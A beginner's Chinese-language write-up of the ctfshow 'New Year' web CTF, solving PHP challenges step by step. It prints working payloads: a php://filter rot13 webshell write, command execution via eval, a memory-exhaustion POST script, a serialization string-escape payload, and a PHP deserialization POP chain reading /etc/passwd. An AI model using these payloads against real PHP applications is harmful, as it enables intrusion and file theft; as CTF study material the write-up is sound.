ctfshow-web-新春欢乐杯
这几天做了这个新春欢乐杯,对于我这个小萌新来说有难度,同时也是收获满满,以下是我解题流程和收获
热身
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/eval($_GET['f']);
代码很简单,可以执行命令
?f=ststem('ls /'); 在根目录下并没有看到有关flag的文件
然后试试phpinfo(),然后发现一个路径,/etc/ssh/secret/youneverknow/secret.php,访问得到flag
web-1
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/highlight_file(__FILE__);
error_reporting(0);$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
这道题主要看考察死亡绕过,附上大佬博客-------已搬运------php://filter 绕过死亡file_put_content() base64 的编码小trick_死亡绕过-CSDN博客
就是利用php://filter先对文件内容解码再写入协议,解码是的前面的死亡代码成乱码,而我们传入的webshell就发挥了作用
这一题的payloa
?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php
访问shell.php就可以执行命令了
post cmd=system(cat /flag.txt)
web-2
<?phphighlight_file(__FILE__);
session_start();
error_reporting(0);include "flag.php";if(count($_POST)===1){extract($_POST);if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){echo $flag;}
}
?>
首先分析代码有session_start(),开启了session,然后规定post请求参数只能有一个,把 POST 中的每个键值对转成变量
例如post提交a=123,就会变为$a=123;
key($_POST)返回数组中的第一个key,同上a=123.那么key($_POST)=a。这前面的$$$$$$就是一层一层的引用
$a = 'hello';
$$a = 'world'; // 等同于 $hello = 'world'
回调函数那么我们肯定是要进行函数调用达到目的,有session_start(),可以用session_id,post传参 session_id=session_id,这样这个多层变量就是session_id,再将session_id修改为HappyNewYear得到falg
web-3
<?phphighlight_file(__FILE__);
error_reporting(0);include "flag.php";
$key= call_user_func(($_GET[1]));if($key=="HappyNewYear"){echo $flag;
}die("虎年大吉,新春快乐!");虎年大吉,新春快乐!
代码审计得,get传参一个函数,然后调用函数结果赋值给key,key与HappyNewYear弱比较,在进行弱比较的时候字符串若不为空,其布尔值都为true,也就是调用一个函数使函数结果为ture,函数有
session_start
error_reporting
json_last_error
web-4
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/highlight_file(__FILE__);
error_reporting(0);$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");die("虎年大吉,新春快乐!");虎年大吉,新春快乐!
这个题全靠积累,那个函数我没见都没见过但是学到一个知识点,这个题与上一个题一样,回调函数的参数要是一个无参函数.
spl_autoload_extensions — 注册并返回spl_autoload函数使用的默认文件扩展名。
当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。中文注:默认的spl_autoload函数使用的扩展名是".inc,.php"。payload:
?1=spl_autoload_extensions生成 .inc,.php 文件(shell文件)
然后就可以执行命令了
web-5
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-01-16 15:42:02
# @Last Modified by: h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/error_reporting(0);
highlight_file(__FILE__);include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);
代码审计得flag写在🐯文件中,而我们传入得参数得‘’hu‘会被替换为32个🐯
官方wp:发送大量的hu即可通过替换实现内存占用放大,超过php最大默认内存256M即可造成变量定义失败,出现致命错误从而跳过后面的覆盖写入
也就是只需要发524280hu就行了python脚本
import requestsurl = "https://8e53f9f9-f147-402b-8d15-91905be7c036.challenge.ctf.show/"
payload = "hu" * 524280 # 发送 524280 个 "hu"
data = {"🌼": payload} # POST 参数名是 🌼(需确保编码正确)try:r = requests.post(url, data=data, verify=False) # 添加 verify=False 参数print("Status Code:", r.status_code)print("Response:", r.text)
except Exception as e:print("Error:", e)
但是访问🐯后得到一个空文件,这是2022年的题了,时间太长了群里师傅说这题过期了所以得不到flag
web-6
<?phperror_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];function filter($img){$filter_arr = array('ctfshow','daniu','happyhuyear');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION['function'] = $function;extract($_POST['GET']);$_SESSION['file'] = base64_encode("/root/flag");$serialize_info = filter(serialize($_SESSION));if($function == 'GET'){$userinfo = unserialize($serialize_info);//出题人已经拿过flag,题目正常,也就是说...echo file_get_contents(base64_decode($userinfo['file']));
}
这一题对我一个新手来说有难度,看着大佬博客·学了好久才初见端倪,主要考察字符串逃逸
首先从上往下看,get传参参数名为POST,然后定义了一个函数,进行过滤。再清空数组session,由于没有session_start,这里的session就是一个数组
如果 $_SESSION
存在,先清空它。将 $function
存入 $_SESSION['function']
。将 "/root/flag"
的 base64 编码存入 $_SESSION['file']
。序列化 $_SESSION
并通过 filter()
过滤后存入 $serialize_info
。
根据提示出题人已经拿到falg,我们需要访问日志文件,即file=/var/log/nginx/access.log,但是题目会自动覆盖所以我们需要利用字符串逃逸把它挤掉,写下是大佬思路
原题中session数组为
session数组{
“function”=>NULL
“file”=>L3Jvb3QvZmxhZw==(base64编码/root/flag)
}
a:2:{s:8:"function";N;s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}
通过extract()函数变量覆盖掉function,
{
“ctfshowdaniu”=>s:1:";s:1:“1”;s:4:“file”;s:36:“L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==”;}
“file”=>L3Jvb3QvZmxhZw==
}
序列化后
a:2:{s:12:“ctfshowdaniu”;s:70:“s:1:";s:1:“1”;s:4:“file”;s:36:“L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==”;}”;s:4:“file”;s:16:“L3Jvb3QvZmxhZw==”;}
过滤后
a:2:{s:12:“";s:70:"s:1:”;s:1:“1”;s:4:“file”;s:36:“L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==”;}";s:4:“file”;s:16:“L3Jvb3QvZmxhZw==”;}
这里构造非常巧妙过滤后为"",第一个双引号是引号,第二个引号是字符,然后跟后面的引号闭合,正好12个字符,过滤后是
{
“”;s:70:“s:1:”=>“1”
“file”=>“L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==”
}、
后面的file覆盖就被挤掉了最后的payload
get ?POST=GET
post GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:36:"L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==";}
根据日志flag在/ctfshow里面访问http://127.0.0.1/ctfshow
GET[_SESSION][ctfshowdaniu]=s:1:";s:1:"1";s:4:"file";s:32:"aHR0cDovLzEyNy4wLjAuMS9jdGZzaG93";}得到flag
在字符串逃逸本题是字符减少得情况符串逃逸就事利用吞噬更多的字符,使序列化的字符串与后面的引号形成闭合,从而构造恶意代码.就本体而言解释以下
上面是大佬构造得payload,
ctfshowdaniu(12)会被替换为空,为““从第一个引号后面需要有12个字符
a:2:{s:12:“";s:70:"s:1:”;s:1:“1”;s:4:“file”;s:36:“L3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZw==”;}";s:4:“file”;s:16:“L3Jvb3QvZmxhZw==”;}
已经有"s:70:"以及后面闭合的双引号,共8个字符已经确定了,而另外4个字符随便选。到这我们构造好数组的键名,值也是随便构造合理即可,如下图
构造需要补全被过滤的字符同时需要满足格式。附上大佬讲解
WEB攻防-PHP反序列化-字符串逃逸-CSDN博客
web-7
这一题对我来说还是太有难度了,以我的能力只能复现到构造出poc链子,后面找flag目前还不会
接下来分享一下构造链子得过程
<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();if (isset($_GET['phpinfo']))
{phpinfo();
}
if (isset($_GET['source']))
{highlight_file("class.php");
}$happy=new Happy();
$happy();
?>
先通过source看一下class.php文件 ?source=1(随便传)
<?phpclass Happy {public $happy;function __construct(){$this->happy="Happy_New_Year!!!";}function __destruct(){$this->happy->happy;}public function __call($funName, $arguments){die($this->happy->$funName);}public function __set($key,$value){$this->happy->$key = $value;}public function __invoke(){echo $this->happy;}}class _New_{public $daniu;public $robot;public $notrobot;private $_New_;function __construct(){$this->daniu="I'm daniu.";$this->robot="I'm robot.";$this->notrobot="I'm not a robot.";}public function __call($funName, $arguments){echo $this->daniu.$funName."not exists!!!";}public function __invoke(){echo $this->daniu;$this->daniu=$this->robot;echo $this->daniu;}public function __toString(){$robot=$this->robot;$this->daniu->$robot=$this->notrobot;return (string)$this->daniu;}public function __get($key){echo $this->daniu.$key."not exists!!!";}}class Year{public $zodiac;public function __invoke(){echo "happy ".$this->zodiac." year!";}function __construct(){$this->zodiac="Hu";}public function __toString(){$this->show();}public function __set($key,$value)#3{$this->$key = $value;}public function show(){die(file_get_contents($this->zodiac));}public function __wakeup(){$this->zodiac = 'hu';}}
?>
像这种复杂得代码直接交给ai读就行,目前我用deepseek和chatgpt读代码,他们都可以在分析过程中讲解代码漏洞,这个来链子跟官方wp思路一样
<?phpclass Happy {public $happy;}class _New_{public $daniu;public $robot;public $notrobot;}class Year{public $zodiac;}$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
var_dump(serialize($a));?>//'O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}'
这是构造得payloa,分享一下我在学习遇到的问题
1.function __destruct(){
$this->happy->happy;}
对象的属性(也是对象)的另一个属性
也就是:
-
this->happy
是一个对象(比如Year
或_New_
); -
然后你又访问它的
happy
属性,也就是this->happy->happpy
举个例子
class A {public $happy;
}class B {public $happy = "flag";
}$a = new A();
$a->happy = new B();echo $a->happy->happy; // 输出:flag
在本题中$a->happy=new _New_(),那么this->happy->happpy就是New中得happy属性,但是New中并没有happy属性,就调用了_get()方法,输出字符串
$a->happy->daniu=new _New_();
echo 一个对象时,PHP会尝试将其转为字符串如果类定义了 __toString,就会调用该方法这是对象到字符串的自动转换机制
然后又调用New中的__toString方法
$a->happy->daniu->daniu=new Year();这里中间还有一个过程
$robot
的值来自 $this->robot
(默认是 "I'm robot."
)。
$this->daniu->$robot = $this->notrobot
会尝试:
访问 $this->daniu->{"I'm robot."}
(即 Year->{"I'm robot."}
)。
由于 Year
没有 "I'm robot."
属性,会触发 Year::__set()
。
__set($key, $value)
会在给不存在的属性赋值时触发。
这里的 $key = "I'm robot."
,$value = "I'm not a robot."
。
所以 $this->{"I'm robot."} = "I'm not a robot."
会动态创建一个新属性。
但是最后有
return (string)$this->daniu; // 强制转换 $this->daniu 为字符串
由于 $this->daniu
是 Year
对象,PHP 会尝试调用 Year::__toString()
:读取文件
至此就是我对这道题得理解,后面的问题待我沉淀沉淀再解决。
总结
以上就是我这次的解题流程和收获,目前的我要学习的东西还有很多,路漫漫其修远兮,吾将上下而求索。